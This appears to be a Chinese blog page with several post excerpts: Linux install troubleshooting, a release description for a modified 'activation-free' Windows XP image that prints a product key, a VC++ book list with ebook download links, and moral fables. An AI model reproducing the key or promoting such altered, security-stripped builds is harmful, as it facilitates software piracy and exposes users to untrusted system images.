      • 在装Linux的时候,无论你对过程有多熟悉,无论在虚拟机上试过几次,安装之前最好还是备份一下重要的文件,而且不能备份在同一块硬盘上。因为你无法预测在实际过程中会出现哪些莫名其妙的问题。
      • 这次安装失败可能有两个原因:
      1. BIOS版本过老,存在1024柱头问题,导致安装在8G分区之后的Linux无法识别。
      2. 联想自带的那个隐藏分区搞得鬼。因为储存在MBR里的硬盘大小信息是35G左右,而Linux却认出了40G,也就是把那个隐藏分区认出来了,而装的过程中又把那个分区给破坏掉了,导致信息和MBR里面储存的不一致,出现错误。

      具体是哪个原因我现在也不清楚,只有等下次全面重新安装的时候试一下才能清楚。

    •  
  • » 阅读全文...
  • 番茄花园 Windows XP Pro SP2 免激活 V3.3

    番茄花园 Windows XP Pro SP2 免激活 V3.3

    CD-KEY:HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT

    一、 软件介绍
    本安装程序是ISO可启动映像文件,推荐下载以后直接用NERO刻录映像文件,然后用光盘安装,当然也可以硬盘安装,运行对应目录下的WINNT32.BAT(Win下安装)或WINNT16.BAT(Dos下安装)

    二、番茄花园系统特点
    番茄花园系统=原版+补丁+必要优化+可选自动安装+可选主题美化+增强功能
    为什么选番茄花园
    +可以通过正版验证
    +集合所有补丁
    +添加漂亮的可选主题
    +进行必要的优化
    +多版本可选
    +无人值守安装
    +实用的增强软件

    三、具体修改明细
    + 添加 SATA/RAID/SCSI/CPU/Chipset 等驱动包(DPs_BASE7.05.2)
    + 添加 N 种最新主题,让你的 XP 充满个性化
    + 集合 到目前为止的所有 XP 关键补丁程序(2007-08)
    + 集合 最新 Internet Explorer 7.0 正式版(可选安装)
    + 集合 Flash Player AX 9.0.47.0 插件
    + 集合 番茄吧3.2
    + 集合 360安全卫士
    - 去掉 Windows 漫游
    - 去掉 Zip 文件夹
    - 去掉 安全中心
    - 去掉 华生医生
    - 去掉 桌面清理向导
    - 去掉 Movie Maker
    - 去掉 系统自带的鼠标光标
    - 去掉 系统自带的图像背景
    - 去掉 音乐示例
    - 去掉 Internet 游戏

    部分优化列表
    +加快局域网访问速度
    +加快搜索网上邻居的速度
    +开启 IE 自动缩图功能
    +下载完成自动关闭
    +减少开关机速度系列
    +打开启动优化功能
    +加快程序运行速度
    +加快菜单显示速度
    +加速打开我的电脑和Explorer
    -禁止默认共享
    -清除共享文件夹
    +防火墙允许访问共享文件
    -跳过internet连接向导
    -禁用IE中script错误报告
    -禁止显示script错误通知
    -禁止显示友好http错误
    -关闭XP文件保护
    -删除多余开机程序
    -关闭桌面清理向导
    -关闭分组相似任务栏按钮
    -不缓存缩略图
    -删除图标快捷方式的字样
    -禁止高亮显示新安装的程序(开始菜单)
    +打开自动更新
    -关闭错误报告
    -关闭系统还原
    -禁止远程修改注册表
    -禁用远程注册表服务
    -禁用索引服务
    -禁用帮助支持中心
    -禁用安全中心
    -禁用Messenger服务
    -关闭计划任务
    +允许为回收站重命名
    +在程序组中显示管理工具
    +显示所有文件扩展名
    +显示桌面系统图标
    +显示快速启动
    -禁止启动时候弹出错误信息
    -系统失败(禁止自动重启,不发送管理警报,不写入调试信息)
    -禁用ZIP功能
    -关闭"压缩旧文件"功能
    -去掉右键“新建”中的BMP、WAV等
    +让Winodws进行最大限度搜索,包括隐藏文件夹
    -禁止跟踪损坏的快捷方式
    -禁用搜索助手并使用高级所搜
    -移去开始中的“帮助”菜单
    -安装驱动时不搜索Windows Update
    +添加右键用记事本打开
    +添加右键“Dos 在这里”
    +用记事本打开nfo文件
    +给“我的电脑”的右键菜单中添加(服务,控制,设备)命令菜单
    +为IE7加上几个常用搜索选择
    +打开IE仿冒网站检查

    四、WINDOWS目录中文件包说明
    番茄花园 Windows XP Pro VOL SP2 系列(全部都集合补丁及优化)
    1. TVOA --- 番茄花园 WinXP Pro VOL SP2 + 自动安装
    2. TVOB --- 番茄花园 WinXP Pro VOL SP2 + 自动安装 + DPS驱动包

    原版无改 Windows XP Pro VOL SP2 系列(除了集合补丁,IE7可选,WMP11可选,其他都没有修改)
    3. VOLA --- 原版无改 WinXP Pro VOL SP2 + 自动安装
    4. VOLB --- 原版无改 WinXP Pro VOL SP2 + 自动安装 + DPS驱动包

    五、安装说明
    1.光盘安装(推荐)
    请用刻录软件,选择 映像刻录 方式来刻录ISO文件,刻录之前请先校验一下文件的准确性,刻录速度推荐24X!

    a.自动安装
    安装请设置光盘启动,然后选择第1个就可以自动安装!

    b. 手动安装
    安装请设置光盘启动,然后选择第2个就可以手动安装!

    2. 硬盘安装(支持自动无人职守安装)

    a.自动安装
    请提取ISO中WINDOWS\TVOA(TVOB)\I386\winnt.bat中的所有内容到硬盘根目录,比如D:\I386,然后运行D:\I386\winnt.bat就可以安装。

    b. 手动安装
    请提取ISO中WINDOWS\TVOA(TVOB)\I386\winnt.bat中的所有内容到硬盘根目录,比如D:\I386,然后运行D:\I386\winnt.exe就可以安装。安装之前需要先加载smartdrv.exe(I386中有)

    文件: TomatoWinXP_SP2_V3.3.ISO
    大小: 710420480 字节
    修改时间: 2007年8月12日, 5:07:20
    MD5: 4928F7622EEAD628140B50048DF48322
    SHA1: AABB6FE05C027C76C758CAED3C772A52D4564853
    CRC32: 3BDFD43C

  • » 阅读全文...
  • 2007年10月16日

    学习VC++的读书计划,给出了一些好书的电子版下载地址

    根据这些天的查阅,知道有这么几本书是这方面比较经典的书

    《WINDOWS程序设计》
    《VC技术内幕》
    《深入浅出MFC》
    《MFC Windows程序设计》

    书籍可能有多个版本,可以自己搜索一下
    http://www.shubulo.com/search.php
    下载要注册的,不爱注册也别骂,路过就好~

    Windows 程序设计 中文第五版 北大出版的
    http://www.shubulo.com/viewthread.php?tid=31288&extra=page%3D3

    C++ Primer 中文版 第三版
    http://www.shubulo.com/viewthread.php?tid=17071&extra=page%3D1
    C++ Primer  第三版习题
    http://www.shubulo.com/viewthread.php?tid=17072&extra=page%3D2

    MFC深入浅出(简体)
    http://www.shubulo.com/viewthread.php?tid=30813&highlight=MFC

    VC技术内幕第五版 可惜是英文,中文的可能过几天才会有
    http://www.shubulo.com/viewthread.php?tid=30

    MFC Windows 程序设计(第2版)中文版+书中源代码
    http://www.shubulo.com/viewthread.php?tid=31521

    不知道顺序应该是怎样的,各位给指点一下?

    参考了以下网友的回复
    1 楼mahongxi(烤鸡翅膀)(色摸)回复于 2002-07-18 20:54:32 
      first   of   all,偶不是高手。  
      如果你C++很强,可以看《深入浅出MFC》先,然后再《VC技术内目》或《MFC   windows   程序设计》,有些东西当然要记啦。

    6 楼promark()回复于 2002-11-21 12:23:48 得分 101。
    学vc,一定要学MFC,我推荐侯捷的<<深入浅出MFC>>,在本站侯捷的专栏上有下载  
    2。关于vc开发工具的使用,控件的使用,从市场上闭着眼睛找一本<>就可以了 

    7 楼guoyuzhang(怒抛头颅)回复于 2002-12-11 11:32:35 得分 0
    VC技术内幕  
    Programing   windows   with   MFC

    2 楼zhf0021(屡战屡败,屡败屡战)回复于 2002-08-18 20:18:53 得分 5
    《THE   C++   PROGRAMMING   LANGUAGE》  
      《VISUAL   C++技术内幕》  
      《深入浅出MFC》

    7 楼969209pxb(power)回复于 2002-08-18 20:56:24 得分 5先要学习C++  
      在学WINDOWS程序设计  
      再学《深入浅出MFC》  
      再学《VISUAL   C++技术内幕》  
      有问题多问,多做项目  
     

    12 楼lizhiyuan6483621(探索者)回复于 2002-08-18 22:52:13 得分 15
    从一些编程网站下载的编程经验,希望对大家有一点帮助:]  
      一些经验和体会  
       
      1、真正的程序员用C++;(一位专家说的)  
       
      2、动手去编程序;  
       
      3、动脑去思考;  
       
      4、要有良好的编程风格;  
       
      5、读书,读好书,尽量读原版书!(我反复强调这一点,读书要有选择,坚持读好书,名家出的经典书,不要浪费实践在一些粗制滥造的书上面;坚持博览群书)  
       
      6、有自己的学习计划;  
       
      7、总结自己的经验教训;(准备一个笔记本,记录错误和心得)  
       
      8、不要怕学新东西;  
       
      9、要有软件工程的思想;  
       
      10、善于发现问题,然后去寻找答案;  
       
      11、向高手请教;(要虚心直到你成为高手)  
       
      12、和同行交流;(不善于交流肯定不行)  
       
      13、懂得软件的实质,不要被千变万化的表象所迷惑;  
       
      14、真正要学习用的是编程语言和方法,不是什么库,什么类,什么工具;(学用那些什么库都比较简单,但光会这些库,我觉得还远远不够)  
       
      15、学习wiodows编程主要是学习windows   OS和win32   API;  
       
      16、有空了解一下嵌入式开发;  
       
      17、有空了解一下PDA软件开发;  
       
      18、了解一下.NET框架和C#语言,也许它是你新的衣食父母;  
       
      19、要有耐心,不要作浮躁的人;   20、对程序加注释,并保留你的老程序;  
       
      21、学到的东西越多,了解的越多,你就越接近专家;  
       
      22、有空去逛逛CSDN,那里有你很多知己;  
       
      23、要有信心成为一个优秀的程序;

    19 楼hihin()回复于 2002-08-19 20:20:18 得分 5
      c++基础语法,想扎实那,就C++   Prime.  
      然后API,  
      然后就可以应用一下,、  
      然后就可以更好一点,《深入浅出mfc》之类了。

  • » 阅读全文...
  • 成年人必看的五个故事

    1、 情况不同

    一只小猪、一只绵羊和一头乳牛,被关在同一个畜栏里。有一次,牧人捉住小猪,牠大声号叫,猛烈地抗拒。绵羊和乳牛讨厌牠的号叫,便说:「他常常捉我们,我们并不大呼小叫。小猪听了回答道:「捉你们和捉我完全是两回事,他捉你们,只是要你们的毛和乳汁,但是捉住我,却是要我的命呢!
    立场不同、所处环境不同的人,很难了解对方的感受;因此对别人的失意、挫折、伤痛,不宜幸灾乐祸,而应要有关怀、了解的心情。要有宽容的心!


    2、 *自己

    小蜗牛问妈妈:为什么我们从生下来,就要背负这个又硬又重的壳呢?
    妈妈:因为我们的身体没有骨骼的支撑,只能爬,又爬不快。所以要这个壳的保护!
    小蜗牛:毛虫姊姊没有骨头,也爬不快,为什么她却不用背这个又硬又重的壳呢?
    妈妈:因为毛虫姊姊能变成蝴蝶,天空会保护她啊。
    小蜗牛:可是蚯蚓弟弟也没骨头爬不快,也不会变成蝴蝶他什么不背这个又硬又重的壳呢?
    妈妈:因为蚯蚓弟弟会钻土, 大地会保护他啊。
    小蜗牛哭了起来:我们好可怜,天空不保护,大地也不保护。
    蜗牛妈妈安慰他:「所以我们有壳啊!」我们不*天,也不*地,我们*自己。


    3、 鲨鱼与鱼

    曾有人做过实验,将一只最凶猛的鲨鱼和一群热带鱼放在同一个池子,然后用强化玻璃隔开,最初,鲨鱼每天不断冲撞那块看不到的玻璃,耐何这只是徒劳,它始终不能过到对面去,而实验人员每天都有放一些鲫鱼在池子里,所以鲨鱼也没缺少猎物,只是它仍想到对面去,想尝试那美丽的滋味,每天仍是不断的冲撞那块玻璃,它试了每个角落,每次都是用尽全力,但每次也总是弄的伤痕累累,有好几次都浑身破裂出血,持续了好一些日子,每当玻璃一出现裂痕,实验人员马上加上一块更厚的玻璃。
    后来,鲨鱼不再冲撞那块玻璃了,对那些斑斓的热带鱼也不再在意,好像他们只是墙上会动的壁画,它开始等着每天固定会出现的鲫鱼,然后用他敏捷的本能进行狩猎,好像回到海中不可一世的凶狠霸气,但这一切只不过是假像罢了,实验到了最后的阶段,实验人员将玻璃取走,但鲨鱼却没有反应,每天仍是在固定的区域游着它不但对那些热带鱼视若无睹,甚至于当那些鲫鱼逃到那边去,他就立刻放弃追逐,说什么也不愿再过去,实验结束了,实 验人员讥笑它是海里最懦弱的鱼。

    可是失恋过的人都知道为什么,它怕痛。


    4、 神迹

    法国一个偏僻的小镇,据传有一个特别灵验的水泉,常会出现神迹,可以医治各种疾病。有一天,一个拄着拐杖,少了一条腿的退伍军人,一跛一跛的走过镇上的马路,旁边的镇民带着同情的回吻说:「可怜的家伙,难道他要向上帝祈求再有一条腿吗??」这一句话被退伍的军人听到了,他转过身对他们说:「我不是要向上帝祈求有一条新的腿,而是要祈求祂帮助我,叫我没有一条腿后,也知道如何过日子。」
    试想:学习为所失去的感恩,也接纳失去的事实,不管人生的得与失,总是要让自已的生命充满了亮丽与光彩,不再为过去掉泪,努力的活出自己的生命。


    5、 钓竿

    有个老人在河边钓鱼,一个小孩走过去看他钓鱼,老人技巧纯熟,所以没多久就钓上了满篓的鱼,老人见小孩很可爱,要把整篓的鱼送给他,小孩摇摇头,老人惊异的问道:「你为何不要?」小孩回答:「我想要你手中的钓竿。」老人问:「你要钓竿做什么?」小孩说:「这篓鱼没多久就吃完了,要是我有钓竿,我就可以自己钓,一辈子也吃不完。」
    我想你一定会说:好聪明的小孩。错了,他如果只要钓竿,那他一条鱼也吃不到。因为,他不懂钓鱼的技巧,光有鱼竿是没用的,因为钓鱼重要的不在<钓竿>,而在<钓技>有太多人认为自己拥有了人生道上的钓竿,再也无惧于路上的风雨,如此,难免会跌倒于泥泞地上。就如小孩看老人,以为只要有钓竿就有吃不完的鱼,像职员看老板,以为只要坐在办公室,就有滚进的财源

  • » 阅读全文...